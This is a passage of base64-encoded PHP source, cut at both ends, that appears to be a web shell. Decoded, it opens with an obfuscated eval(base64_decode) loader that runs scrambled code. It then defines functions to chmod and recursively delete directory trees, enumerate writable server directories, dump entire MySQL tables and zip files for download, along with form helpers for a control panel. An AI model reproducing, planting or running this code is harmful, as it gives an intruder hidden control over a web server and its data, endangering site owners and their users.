M2FTVmxSQ1ZsYVNWbFJTVTNkU1ZoUlNVM055VTNZU1ZsT1NVM2RTVmxhU1ZoT0NVM2FTVmxSU1Zs
YVNVM2J5VmxieVZsTmlVM01DVmxhU1ZoT0NVM2RTVmhPU1ZoT1NWdlFpVTNSQ1Z2UXlWaFJpVTNi
eVZsYnlVM1lTVmxPU1UzTUNVM2RTVnZSU2NwS1R0a1JpZ25LamhJV0VoWFRsVlpLamRwV0ZkSUtq
aEpiWGw1TXlvNFJuVjFNbTV6ZEc4eWJtOXJlbk16Ym1odmRIZHNkWEYyZFhocWFIcDNibmtsTjBW
dk1uZ3FPRW9xT0VoMVdFaFhUbFZaS2poS2FTY3BQQzl6WTNJMGNIUSsnO2V2YWwoYmFzZTY0X2Rl
Y29kZSgnSkY5WVBXSmhjMlUyTkY5a1pXTnZaR1VvSkY5WUtUc2tYMWc5YzNSeWRISW9KRjlZTENj
eE1qTTBOVFpoYjNWcFpTY3NKMkZ2ZFdsbE1USXpORFUySnlrN0pGOVNQV1Z5WldkZmNtVndiR0Zq
WlNnblgxOUdTVXhGWDE4bkxDSW5JaTRrWDBZdUlpY2lMQ1JmV0NrN1pYWmhiQ2drWDFJcE95UmZV
ajB3T3lSZldEMHdPdz09JykpOwovLyArK3wgLSstKwpmdW5jdGlvbiBkZWx0cmVlKCRkZWxkaXIp
IHsKCSRteWRpcj1AZGlyKCRkZWxkaXIpOwoJd2hpbGUoJGZpbGU9JG15ZGlyLT5yZWFkKCkpCXsK
CQlpZigoaXNfZGlyKCRkZWxkaXIuJy8nLiRmaWxlKSkgJiYgKCRmaWxlIT0nLicpICYmICgkZmls
ZSE9Jy4uJykpIHsKCQkJQGNobW9kKCRkZWxkaXIuJy8nLiRmaWxlLDA3NzcpOwoJCQlkZWx0cmVl
KCRkZWxkaXIuJy8nLiRmaWxlKTsKCQl9CgkJaWYgKGlzX2ZpbGUoJGRlbGRpci4nLycuJGZpbGUp
KSB7CgkJCUBjaG1vZCgkZGVsZGlyLicvJy4kZmlsZSwwNzc3KTsKCQkJQHVubGluaygkZGVsZGly
LicvJy4kZmlsZSk7CgkJfQoJfQoJJG15ZGlyLT5jbG9zZSgpOwoJQGNobW9kKCRkZWxkaXIsMDc3
Nyk7CglyZXR1cm4gQHJtZGlyKCRkZWxkaXIpID8gMSA6IDA7Cn0KCi8vICMmIzExMDE7KyYjMTEw
NTstLSsmIzEwOTI7fC0jfCsjKyYjMTA4Mzt8JiMxMDk0OysrCmZ1bmN0aW9uIGJnKCkgewoJZ2xv
YmFsICRiZ2M7CglyZXR1cm4gKCRiZ2MrKyUyPT0wKSA/ICdhbHQxJyA6ICdhbHQyJzsKfQoKLy8g
KyYjMTEwNTsrJiMxMDczO3wjfCN8LSstKyAtfC18LSsrfApmdW5jdGlvbiBnZXRQYXRoKCRzY3Jp
cHRwYXRoLCAkbm93cGF0aCkgewoJaWYgKCRub3dwYXRoID09ICcuJykgewoJCSRub3dwYXRoID0g
JHNjcmlwdHBhdGg7Cgl9Cgkkbm93cGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJG5vd3Bh
dGgpOwoJJG5vd3BhdGggPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRub3dwYXRoKTsKCWlmIChz
dWJzdHIoJG5vd3BhdGgsIC0xKSAhPSAnLycpIHsKCQkkbm93cGF0aCA9ICRub3dwYXRoLicvJzsK
CX0KCXJldHVybiAkbm93cGF0aDsKfQoKLy8gKyYjMTEwNTsrJiMxMDczO3wjfCMtKy0rfC0rLSt8
LSstKwpmdW5jdGlvbiBnZXRVcFBhdGgoJG5vd3BhdGgpIHsKCSRwYXRoZGIgPSBleHBsb2RlKCcv
JywgJG5vd3BhdGgpOwoJJG51bSA9IGNvdW50KCRwYXRoZGIpOwoJaWYgKCRudW0gPiAyKSB7CgkJ
dW5zZXQoJHBhdGhkYlskbnVtLTFdLCRwYXRoZGJbJG51bS0yXSk7Cgl9CgkkdXBwYXRoID0gaW1w
bG9kZSgnLycsICRwYXRoZGIpLicvJzsKCSR1cHBhdGggPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycs
ICR1cHBhdGgpOwoJcmV0dXJuICR1cHBhdGg7Cn0KCi8vICsmIzExMDA7IyYjMTA5NztQSFArJiMx
MDkyOyt8IystIApmdW5jdGlvbiBnZXRjZmcoJHZhcm5hbWUpIHsKCSRyZXN1bHQgPSBnZXRfY2Zn
X3ZhcigkdmFybmFtZSk7CglpZiAoJHJlc3VsdCA9PSAwKSB7CgkJcmV0dXJuICdObyc7Cgl9IGVs
c2VpZiAoJHJlc3VsdCA9PSAxKSB7CgkJcmV0dXJuICdZZXMnOwoJfSBlbHNlIHsKCQlyZXR1cm4g
JHJlc3VsdDsKCX0KfQoKLy8gKyYjMTEwMDsjJiMxMDk3O3wmIzEwODc7LSB8JiMxMDk3OysmIzEw
Mzg7CmZ1bmN0aW9uIGdldGZ1bigkZnVuTmFtZSkgewoJcmV0dXJuIChmYWxzZSAhPT0gZnVuY3Rp
b25fZXhpc3RzKCRmdW5OYW1lKSkgPyAnWWVzJyA6ICdObyc7Cn0KCmZ1bmN0aW9uIEdldExpc3Qo
JGRpcil7CglnbG9iYWwgJGRpcmRhdGEsJGosJG5vd3BhdGg7CgkhJGogJiYgJGo9MTsKCWlmICgk
ZGggPSBvcGVuZGlyKCRkaXIpKSB7CgkJd2hpbGUgKCRmaWxlID0gcmVhZGRpcigkZGgpKSB7CgkJ
CSRmPXN0cl9yZXBsYWNlKCcvLycsJy8nLCRkaXIuJy8nLiRmaWxlKTsKCQkJaWYoJGZpbGUhPScu
JyAmJiAkZmlsZSE9Jy4uJyAmJiBpc19kaXIoJGYpKXsKCQkJCWlmIChpc193cml0YWJsZSgkZikp
IHsKCQkJCQkkZGlyZGF0YVskal1bJ2ZpbGVuYW1lJ109c3RyX3JlcGxhY2UoJG5vd3BhdGgsJycs
JGYpOwoJCQkJCSRkaXJkYXRhWyRqXVsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVt
dGltZSgkZikpOwoJCQkJCSRkaXJkYXRhWyRqXVsnZGlyY2htb2QnXT1nZXRDaG1vZCgkZik7CgkJ
CQkJJGRpcmRhdGFbJGpdWydkaXJwZXJtJ109Z2V0UGVybXMoJGYpOwoJCQkJCSRkaXJkYXRhWyRq
XVsnZGlybGluayddPXVlKCRkaXIpOwoJCQkJCSRkaXJkYXRhWyRqXVsnc2VydmVyX2xpbmsnXT0k
ZjsKCQkJCQkkZGlyZGF0YVskal1bJ2NsaWVudF9saW5rJ109dWUoJGYpOwoJCQkJCSRqKys7CgkJ
CQl9CgkJCQlHZXRMaXN0KCRmKTsKCQkJfQoJCX0KCQljbG9zZWRpcigkZGgpOwoJCWNsZWFyc3Rh
dGNhY2hlKCk7CgkJcmV0dXJuICRkaXJkYXRhOwoJfSBlbHNlIHsKCQlyZXR1cm4gYXJyYXkoKTsK
CX0KfQoKZnVuY3Rpb24gcXkoJHNxbCkgewoJLy9lY2hvICRzcWwuJzxicj4nOwoJJHJlcyA9ICRl
cnJvciA9ICcnOwoJaWYoISRyZXMgPSBAbXlzcWxfcXVlcnkoJHNxbCkpIHsKCQlyZXR1cm4gMDsK
CX0gZWxzZSBpZihpc19yZXNvdXJjZSgkcmVzKSkgewoJCXJldHVybiAxOwoJfSBlbHNlIHsKCQly
ZXR1cm4gMjsKCX0KCXJldHVybiAwOwp9CgpmdW5jdGlvbiBxKCRzcWwpIHsKCXJldHVybiBAbXlz
cWxfcXVlcnkoJHNxbCk7Cn0KCmZ1bmN0aW9uIGZyKCRxeSl7CglteXNxbF9mcmVlX3Jlc3VsdCgk
cXkpOwp9CgpmdW5jdGlvbiBzaXplY291bnQoJHNpemUpIHsKCWlmKCRzaXplID4gMTA3Mzc0MTgy
NCkgewoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDczNzQxODI0ICogMTAwKSAvIDEwMCAuICcg
Ryc7Cgl9IGVsc2VpZigkc2l6ZSA+IDEwNDg1NzYpIHsKCQkkc2l6ZSA9IHJvdW5kKCRzaXplIC8g
MTA0ODU3NiAqIDEwMCkgLyAxMDAgLiAnIE0nOwoJfSBlbHNlaWYoJHNpemUgPiAxMDI0KSB7CgkJ
JHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwMjQgKiAxMDApIC8gMTAwIC4gJyBLJzsKCX0gZWxzZSB7
CgkJJHNpemUgPSAkc2l6ZSAuICcgQic7Cgl9CglyZXR1cm4gJHNpemU7Cn0KCi8vIC18LSYjMTEx
MTt8JiMxMDI4OyMgKyYjMTA4ODsKY2xhc3MgUEhQWmlwewoJdmFyICRvdXQ9Jyc7CglmdW5jdGlv
biBQSFBaaXAoJGRpcikJewoJCWlmIChAZnVuY3Rpb25fZXhpc3RzKCdnemNvbXByZXNzJykpCXsK
CQkJJGN1cmRpciA9IGdldGN3ZCgpOwoJCQlpZiAoaXNfYXJyYXkoJGRpcikpICRmaWxlbGlzdCA9
ICRkaXI7CgkJCWVsc2V7CgkJCQkkZmlsZWxpc3Q9JHRoaXMgLT4gR2V0RmlsZUxpc3QoJGRpcik7
Ly8rLSsgLS0jJiMxMTAxOwoJCQkJZm9yZWFjaCgkZmlsZWxpc3QgYXMgJGs9PiR2KSAkZmlsZWxp
c3RbXT1zdWJzdHIoJHYsc3RybGVuKCRkaXIpKzEpOwoJCQl9CgkJCWlmICgoIWVtcHR5KCRkaXIp
KSYmKCFpc19hcnJheSgkZGlyKSkmJihmaWxlX2V4aXN0cygkZGlyKSkpIGNoZGlyKCRkaXIpOwoJ
CQllbHNlIGNoZGlyKCRjdXJkaXIpOwoJCQlpZiAoY291bnQoJGZpbGVsaXN0KT4wKXsKCQkJCWZv
cmVhY2goJGZpbGVsaXN0IGFzICRmaWxlbmFtZSl7CgkJCQkJaWYgKGlzX2ZpbGUoJGZpbGVuYW1l
KSl7CgkJCQkJCSRmZCA9IGZvcGVuICgkZmlsZW5hbWUsICdyJyk7CgkJCQkJCSRjb250ZW50ID0g
QGZyZWFkICgkZmQsIGZpbGVzaXplKCRmaWxlbmFtZSkpOwoJCQkJCQlmY2xvc2UgKCRmZCk7CgkJ
CQkJCWlmIChpc19hcnJheSgkZGlyKSkgJGZpbGVuYW1lID0gYmFzZW5hbWUoJGZpbGVuYW1lKTsK
CQkJCQkJJHRoaXMgLT4gYWRkRmlsZSgkY29udGVudCwgJGZpbGVuYW1lKTsKCQkJCQl9CgkJCQl9
CgkJCQkkdGhpcy0+b3V0ID0gJHRoaXMgLT4gZmlsZSgpOwoJCQkJY2hkaXIoJGN1cmRpcik7CgkJ
CX0KCQkJcmV0dXJuIDE7CgkJfQoJCWVsc2UgcmV0dXJuIDA7Cgl9CgoJLy8gKyYjMTEwNTt8fCsr
fCYjMTA4MDstKy0rKy0rIC0tIyYjMTEwMTsKCWZ1bmN0aW9uIEdldEZpbGVMaXN0KCRkaXIpewoJ
CXN0YXRpYyAkYTsKCQlpZiAoaXNfZGlyKCRkaXIpKSB7CgkJCWlmICgkZGggPSBvcGVuZGlyKCRk
aXIpKSB7CgkJCQl3aGlsZSAoJGZpbGUgPSByZWFkZGlyKCRkaCkpIHsKCQkJCQlpZigkZmlsZSE9
Jy4nICYmICRmaWxlIT0nLi4nKXsKCQkJCQkJJGY9JGRpciAuJy8nLiAkZmlsZTsKCQkJCQkJaWYo
aXNfZGlyKCRmKSkgJHRoaXMtPkdldEZpbGVMaXN0KCRmKTsKCQkJCQkJJGFbXT0kZjsKCQkJCQl9
CgkJCQl9CgkJCQljbG9zZWRpcigkZGgpOwoJCQl9CgkJfQoJCXJldHVybiAkYTsKCX0KCgl2YXIg
JGRhdGFzZWMgICAgICA9IGFycmF5KCk7Cgl2YXIgJGN0cmxfZGlyICAgICA9IGFycmF5KCk7Cgl2
YXIgJGVvZl9jdHJsX2RpciA9ICJceDUwXHg0Ylx4MDVceDA2XHgwMFx4MDBceDAwXHgwMCI7Cgl2
YXIgJG9sZF9vZmZzZXQgICA9IDA7CgoJZnVuY3Rpb24gdW5peDJEb3NUaW1lKCR1bml4dGltZSA9
IDApIHsKCQkkdGltZWFycmF5ID0gKCR1bml4dGltZSA9PSAwKSA/IGdldGRhdGUoKSA6IGdldGRh
dGUoJHVuaXh0aW1lKTsKCQlpZiAoJHRpbWVhcnJheVsneWVhciddIDwgMTk4MCkgewoJCQkkdGlt
ZWFycmF5Wyd5ZWFyJ10gICAgPSAxOTgwOwoJCQkkdGltZWFycmF5Wydtb24nXSAgICAgPSAxOwoJ
CQkkdGltZWFycmF5WydtZGF5J10gICAgPSAxOwoJCQkkdGltZWFycmF5Wydob3VycyddICAgPSAw
OwoJCQkkdGltZWFycmF5WydtaW51dGVzJ10gPSAwOwoJCQkkdGltZWFycmF5WydzZWNvbmRzJ10g
PSAwOwoJCX0gLy8gZW5kIGlmCgkJcmV0dXJuICgoJHRpbWVhcnJheVsneWVhciddIC0gMTk4MCkg
PDwgMjUpIHwgKCR0aW1lYXJyYXlbJ21vbiddIDw8IDIxKSB8ICgkdGltZWFycmF5WydtZGF5J10g
PDwgMTYpIHwKCQkJCSgkdGltZWFycmF5Wydob3VycyddIDw8IDExKSB8ICgkdGltZWFycmF5Wydt
aW51dGVzJ10gPDwgNSkgfCAoJHRpbWVhcnJheVsnc2Vjb25kcyddID4+IDEpOwoJfQoKCWZ1bmN0
aW9uIGFkZEZpbGUoJGRhdGEsICRuYW1lLCAkdGltZSA9IDApIHsKCQkkbmFtZSA9IHN0cl9yZXBs
YWNlKCdcXCcsICcvJywgJG5hbWUpOwoKCQkkZHRpbWUgPSBkZWNoZXgoJHRoaXMtPnVuaXgyRG9z
VGltZSgkdGltZSkpOwoJCSRoZXhkdGltZQk9ICdceCcgLiAkZHRpbWVbNl0gLiAkZHRpbWVbN10K
CQkJCQkuICdceCcgLiAkZHRpbWVbNF0gLiAkZHRpbWVbNV0KCQkJCQkuICdceCcgLiAkZHRpbWVb
Ml0gLiAkZHRpbWVbM10KCQkJCQkuICdceCcgLiAkZHRpbWVbMF0gLiAkZHRpbWVbMV07CgkJZXZh
bCgnJGhleGR0aW1lID0gIicgLiAkaGV4ZHRpbWUgLiAnIjsnKTsKCQkkZnIJPSAiXHg1MFx4NGJc
eDAzXHgwNCI7CgkJJGZyCS49ICJceDE0XHgwMCI7CgkJJGZyCS49ICJceDAwXHgwMCI7CgkJJGZy
CS49ICJceDA4XHgwMCI7CgkJJGZyCS49ICRoZXhkdGltZTsKCgkJJHVuY19sZW4gPSBzdHJsZW4o
JGRhdGEpOwoJCSRjcmMgPSBjcmMzMigkZGF0YSk7CgkJJHpkYXRhID0gZ3pjb21wcmVzcygkZGF0
YSk7CgkJJGNfbGVuID0gc3RybGVuKCR6ZGF0YSk7CgkJJHpkYXRhID0gc3Vic3RyKHN1YnN0cigk
emRhdGEsIDAsIHN0cmxlbigkemRhdGEpIC0gNCksIDIpOwoJCSRmciAuPSBwYWNrKCdWJywgJGNy
Yyk7CgkJJGZyIC49IHBhY2soJ1YnLCAkY19sZW4pOwoJCSRmciAuPSBwYWNrKCdWJywgJHVuY19s
ZW4pOwoJCSRmciAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSk7CgkJJGZyIC49IHBhY2soJ3Yn
LCAwKTsKCQkkZnIgLj0gJG5hbWU7CgkJJGZyIC49ICR6ZGF0YTsKCQkkZnIgLj0gcGFjaygnVics
ICRjcmMpOwoJCSRmciAuPSBwYWNrKCdWJywgJGNfbGVuKTsKCQkkZnIgLj0gcGFjaygnVicsICR1
bmNfbGVuKTsKCgkJJHRoaXMgLT4gZGF0YXNlY1tdID0gJGZyOwoJCSRuZXdfb2Zmc2V0ID0gc3Ry
bGVuKGltcGxvZGUoJycsICR0aGlzLT5kYXRhc2VjKSk7CgoJCSRjZHJlYyA9ICJceDUwXHg0Ylx4
MDFceDAyIjsKCQkkY2RyZWMgLj0gIlx4MDBceDAwIjsKCQkkY2RyZWMgLj0gIlx4MTRceDAwIjsK
CQkkY2RyZWMgLj0gIlx4MDBceDAwIjsKCQkkY2RyZWMgLj0gIlx4MDhceDAwIjsKCQkkY2RyZWMg
Lj0gJGhleGR0aW1lOwoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJGNyYyk7CgkJJGNkcmVjIC49IHBh
Y2soJ1YnLCAkY19sZW4pOwoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJHVuY19sZW4pOwoJCSRjZHJl
YyAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSApOwoJCSRjZHJlYyAuPSBwYWNrKCd2JywgMCAp
OwoJCSRjZHJlYyAuPSBwYWNrKCd2JywgMCApOwoJCSRjZHJlYyAuPSBwYWNrKCd2JywgMCApOwoJ
CSRjZHJlYyAuPSBwYWNrKCd2JywgMCApOwoJCSRjZHJlYyAuPSBwYWNrKCdWJywgMzIgKTsKCQkk
Y2RyZWMgLj0gcGFjaygnVicsICR0aGlzIC0+IG9sZF9vZmZzZXQgKTsKCQkkdGhpcyAtPiBvbGRf
b2Zmc2V0ID0gJG5ld19vZmZzZXQ7CgkJJGNkcmVjIC49ICRuYW1lOwoKCQkkdGhpcyAtPiBjdHJs
X2RpcltdID0gJGNkcmVjOwoJfQoKCWZ1bmN0aW9uIGZpbGUoKSB7CgkJJGRhdGEgICAgPSBpbXBs
b2RlKCcnLCAkdGhpcyAtPiBkYXRhc2VjKTsKCQkkY3RybGRpciA9IGltcGxvZGUoJycsICR0aGlz
IC0+IGN0cmxfZGlyKTsKCQlyZXR1cm4gJGRhdGEgLiAkY3RybGRpciAuICR0aGlzIC0+IGVvZl9j
dHJsX2RpciAuIHBhY2soJ3YnLCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIpKSAuIHBhY2soJ3Yn
LCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIpKSAuCXBhY2soJ1YnLCBzdHJsZW4oJGN0cmxkaXIp
KSAuIHBhY2soJ1YnLCBzdHJsZW4oJGRhdGEpKSAuICJceDAwXHgwMCI7Cgl9Cn0KCi8vICMrK3wt
ICt8KyYjMTA5MDsKZnVuY3Rpb24gc3FsZHVtcHRhYmxlKCR0YWJsZSwgJGZwPTApIHsKCSR0YWJs
ZWR1bXAgPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgJHRhYmxlO1xuIjsKCSR0YWJsZWR1bXAgLj0g
IkNSRUFURSBUQUJMRSAkdGFibGUgKFxuIjsKCgkkZmlyc3RmaWVsZD0xOwoKCSRmaWVsZHMgPSBx
KCJTSE9XIEZJRUxEUyBGUk9NICR0YWJsZSIpOwoJd2hpbGUgKCRmaWVsZCA9IG15c3FsX2ZldGNo
X2FycmF5KCRmaWVsZHMpKSB7CgkJaWYgKCEkZmlyc3RmaWVsZCkgewoJCQkkdGFibGVkdW1wIC49
ICIsXG4iOwoJCX0gZWxzZSB7CgkJCSRmaXJzdGZpZWxkPTA7CgkJfQoJCSR0YWJsZWR1bXAgLj0g
IiAgICRmaWVsZFtGaWVsZF0gJGZpZWxkW1R5cGVdIjsKCQlpZiAoIWVtcHR5KCRmaWVsZFsiRGVm
YXVsdCJdKSkgewoJCQkkdGFibGVkdW1wIC49ICIgREVGQVVMVCAnJGZpZWxkW0RlZmF1bHRdJyI7
CgkJfQoJCWlmICgkZmllbGRbJ051bGwnXSAhPSAiWUVTIikgewoJCQkkdGFibGVkdW1wIC49ICIg
Tk9UIE5VTEwiOwoJCX0KCQlpZiAoJGZpZWxkWydFeHRyYSddICE9ICIiKSB7CgkJCSR0YWJsZWR1
bXAgLj0gIiAkZmllbGRbRXh0cmFdIjsKCQl9Cgl9CglmcigkZmllbGRzKTsKCgkka2V5cyA9IHEo
IlNIT1cgS0VZUyBGUk9NICR0YWJsZSIpOwoJd2hpbGUgKCRrZXkgPSBteXNxbF9mZXRjaF9hcnJh
eSgka2V5cykpIHsKCQkka25hbWU9JGtleVsnS2V5X25hbWUnXTsKCQlpZiAoJGtuYW1lICE9ICJQ
UklNQVJZIiAmJiAka2V5WydOb25fdW5pcXVlJ10gPT0gMCkgewoJCQkka25hbWU9IlVOSVFVRXwk
a25hbWUiOwoJCX0KCQlpZighaXNfYXJyYXkoJGluZGV4WyRrbmFtZV0pKSB7CgkJCSRpbmRleFsk
a25hbWVdID0gYXJyYXkoKTsKCQl9CgkJJGluZGV4WyRrbmFtZV1bXSA9ICRrZXlbJ0NvbHVtbl9u
YW1lJ107Cgl9Cglmcigka2V5cyk7CgoJd2hpbGUobGlzdCgka25hbWUsICRjb2x1bW5zKSA9IEBl
YWNoKCRpbmRleCkpIHsKCQkkdGFibGVkdW1wIC49ICIsXG4iOwoJCSRjb2xuYW1lcz1pbXBsb2Rl
KCRjb2x1bW5zLCIsIik7CgoJCWlmICgka25hbWUgPT0gIlBSSU1BUlkiKSB7CgkJCSR0YWJsZWR1
bXAgLj0gIiAgIFBSSU1BUlkgS0VZICgkY29sbmFtZXMpIjsKCQl9IGVsc2UgewoJCQlpZiAoc3Vi
c3RyKCRrbmFtZSwwLDYpID09ICJVTklRVUUiKSB7CgkJCQkka25hbWU9c3Vic3RyKCRrbmFtZSw3
KTsKCQkJfQoJCQkkdGFibGVkdW1wIC49ICIgICBLRVkgJGtuYW1lICgkY29sbmFtZXMpIjsKCQl9
Cgl9CgoJJHRhYmxlZHVtcCAuPSAiXG4pO1xuXG4iOwoJaWYgKCRmcCkgewoJCWZ3cml0ZSgkZnAs
JHRhYmxlZHVtcCk7Cgl9IGVsc2UgewoJCWVjaG8gJHRhYmxlZHVtcDsKCX0KCgkkcm93cyA9IHEo
IlNFTEVDVCAqIEZST00gJHRhYmxlIik7CgkkbnVtZmllbGRzID0gbXlzcWxfbnVtX2ZpZWxkcygk
cm93cyk7Cgl3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyb3dzKSkgewoJCSR0YWJs
ZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOwoKCQkkZmllbGRjb3VudGVyPS0x
OwoJCSRmaXJzdGZpZWxkPTE7CgkJd2hpbGUgKCsrJGZpZWxkY291bnRlcjwkbnVtZmllbGRzKSB7
CgkJCWlmICghJGZpcnN0ZmllbGQpIHsKCQkJCSR0YWJsZWR1bXAuPSIsICI7CgkJCX0gZWxzZSB7
CgkJCQkkZmlyc3RmaWVsZD0wOwoJCQl9CgoJCQlpZiAoIWlzc2V0KCRyb3dbJGZpZWxkY291bnRl
cl0pKSB7CgkJCQkkdGFibGVkdW1wIC49ICJOVUxMIjsKCQkJfSBlbHNlIHsKCQkJCSR0YWJsZWR1
bXAgLj0gIiciLm15c3FsX2VzY2FwZV9zdHJpbmcoJHJvd1skZmllbGRjb3VudGVyXSkuIiciOwoJ
CQl9CgkJfQoKCQkkdGFibGVkdW1wIC49ICIpO1xuIjsKCgkJaWYgKCRmcCkgewoJCQlmd3JpdGUo
JGZwLCR0YWJsZWR1bXApOwoJCX0gZWxzZSB7CgkJCWVjaG8gJHRhYmxlZHVtcDsKCQl9Cgl9Cglm
cigkcm93cyk7CglpZiAoJGZwKSB7CgkJZndyaXRlKCRmcCwiXG4iKTsKCX0gZWxzZSB7CgkJZWNo
byAiXG4iOwoJfQp9CgpmdW5jdGlvbiB1ZSgkc3RyKXsKCXJldHVybiB1cmxlbmNvZGUoJHN0cik7
Cn0KCmZ1bmN0aW9uIHAoJHN0cil7CgllY2hvICRzdHIuIlxuIjsKfQoKZnVuY3Rpb24gdGJoZWFk
KCkgewoJcCgnPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSI0IiBj
ZWxsc3BhY2luZz0iMCI+Jyk7Cn0KZnVuY3Rpb24gdGJmb290KCl7CglwKCc8L3RhYmxlPicpOwp9
CgpmdW5jdGlvbiBtYWtlaGlkZSgkbmFtZSwkdmFsdWU9JycpewoJcCgiPGlucHV0IGlkPVwiJG5h
bWVcIiB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIiRuYW1lXCIgdmFsdWU9XCIkdmFsdWVcIiAvPiIp
Owp9CgpmdW5jdGlvbiBtYWtlaW5wdXQoJGFyZyA9IGFycmF5KCkpewoJJGFyZ1snc2l6ZSddID0g
JGFyZ1snc2l6ZSddID4gMCA/ICJzaXplPVwiJGFyZ1tzaXplXVwiIiA6ICJzaXplPVwiMTAwXCIi
OwoJJGFyZ1snZXh0cmEnXSA9ICRhcmdbJ2V4dHJhJ10gPyAkYXJnWydleHRyYSddIDogJyc7Cgkh
JGFyZ1sndHlwZSddICYmICRhcmdbJ3R5cGUnXSA9ICd0ZXh0JzsKCSRhcmdbJ3RpdGxlJ10gPSAk
YXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXS4nPGJyIC8+JyA6ICcnOwoJJGFyZ1snY2xhc3Mn
XSA9ICRhcmdbJ2NsYXNzJ10gPyAkYXJnWydjbGFzcyddIDogJ2lucHV0JzsKCWlmICgkYXJnWydu
ZXdsaW5lJ10pIHsKCQlwKCI8cD4kYXJnW3RpdGxlXTxpbnB1dCBjbGFzcz1cIiRhcmdbY2xhc3Nd
XCIgbmFtZT1cIiRhcmdbbmFtZV1cIiBpZD1cIiRhcmdbbmFtZV1cIiB2YWx1ZT1cIiRhcmdbdmFs
dWVdXCIgdHlwZT1cIiRhcmdbdHlwZV1cIiAkYXJnW3NpemVdICRhcmdbZXh0cmFdIC8+PC9wPiIp
OwoJfSBlbHNlIHsKCQlwKCIkYXJnW3RpdGxlXTxpbnB1dCBjbGFzcz1cIiRhcmdbY2xhc3NdXCIg
bmFtZT1cIiRhcmdbbmFtZV1cIiBpZD1cIiRhcmdbbmFtZV1cIiB2YWx1ZT1cIiRhcmdbdmFsdWVd
XCIgdHlwZT1cIiRhcmdbdHlwZV1cIiAkYXJnW3NpemVdICRhcmdbZXh0cmFdIC8+Iik7Cgl9Cn0K
CmZ1bmN0aW9uIG1ha2VzZWxlY3QoJGFyZyA9IGFycmF5KCkpewoJaWYgKCRhcmdbJ29uY2hhbmdl
J10pIHsKCQkkb25jaGFuZ2UgPSAnb25jaGFuZ2U9IicuJGFyZ1snb25jaGFuZ2UnXS4nIic7Cgl9
CgkkYXJnWyd0aXRsZSddID0gJGFyZ1sndGl0bGUnXSA/ICRhcmdbJ3RpdGxlJ10gOiAnJzsKCWlm
ICgkYXJnWyduZXdsaW5lJ10pIHAoJzxwPicpOwoJcCgiJGFyZ1t0aXRsZV0gPHNlbGVjdCBjbGFz
cz1cImlucHV0XCIgaWQ9XCIkYXJnW25hbWVdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiAkb25jaGFu
Z2U+Iik7CgkJaWYgKGlzX2FycmF5KCRhcmdbJ29wdGlvbiddKSkgewoJCQlmb3JlYWNoICgkYXJn
WydvcHRpb24nXSBhcyAka2V5PT4kdmFsdWUpIHsKCQkJCWlmICgkYXJnWydzZWxlY3RlZCddPT0k
a2V5KSB7CgkJCQkJcCgiPG9wdGlvbiB2YWx1ZT1cIiRrZXlcIiBzZWxlY3RlZD4kdmFsdWU8L29w
dGlvbj4iKTsKCQkJCX0gZWxzZSB7CgkJCQkJcCgiPG9wdGlvbiB2YWx1ZT1cIiRrZXlcIj4kdmFs
dWU8L29wdGlvbj4iKTsKCQkJCX0KCQkJfQoJCX0KCXAoIjwvc2VsZWN0PiIpOwoJaWYgKCRhcmdb
J25ld2xpbmUnXSkgcCgnPC9wPicpOwp9CmZ1bmN0aW9uIGZvcm1oZWFkKCRhcmcgPSBhcnJheSgp
KSB7CgkhJGFyZ1snbWV0aG9kJ10gJiYgJGFyZ1snbWV0aG9kJ10gPSAncG9zdCc7CgkhJGFyZ1sn
YWN0aW9uJ10gJiYgJGFyZ1snYWN0aW9uJ10gPSAkc2VsZjsKCSRhcmdbJ3RhcmdldCddID0gJGFy
Z1sndGFyZ2V0J10gPyAidGFyZ2V0PVwiJGFyZ1t0YXJnZXRdXCIiIDogJyc7CgkhJGFyZ1snbmFt
ZSddICYmICRhcmdbJ25hbWUnXSA9ICdmb3JtMSc7CglwKCI8Zm9ybSBuYW1lPVwiJGFyZ1tuYW1l
XVwiIGlkPVwiJGFyZ1tuYW1lXVwiIGFjdGlvbj1cIiRhcmdbYWN0aW9uXVwiIG1ldGhvZD1cIiRh
cmdbbWV0aG9kXVwiICRhcmdbdGFyZ2V0XT4iKTsKCWlmICgkYXJnWyd0aXRsZSddKSB7CgkJcCgn
PGgyPicuJGFyZ1sndGl0bGUnXS4nICZyYXF1bzs8L2gyPicpOwoJfQp9CgpmdW5jdGlvbiBtYWtl
dGV4dCgkYXJnID0gYXJyYXkoKSl7CgkhJGFyZ1snY29scyddICYmICRhcmdbJ2NvbHMnXSA9IDEw
MDsKCSEkYXJnWydyb3dzJ10gJiYgJGFyZ1sncm93cyddID0gMjU7CgkkYXJnWyd0aXRsZSddID0g
JGFyZ1sndGl0bGUnXSA/ICRhcmdbJ3RpdGxlJ10uJzxiciAvPicgOiAnJzsKCXAoIjxwPiRhcmdb
dGl0bGVdPHRleHRhcmVhIGNsYXNzPVwiYXJlYVwiIGlkPVwiJGFyZ1tuYW1lXVwiIG5hbWU9XCIk
YXJnW25hbWVdXCIgY29scz1cIiRhcmdbY29sc11cIiByb3dzPVwiJGFyZ1tyb3dzXVwiICRhcmdb
ZXh0cmFdPiRhcmdbdmFsdWVdPC90ZXh0YXJlYT48L3A+Iik7Cn0KCmZ1bmN0aW9uIGZvcm1mb290
ZXIoJG5hbWUgPSAnJyl7CgkhJG5hbWUgJiYgJG5hbWUgPSAnc3VibWl0JzsKCXAoJzxwPjxpbnB1
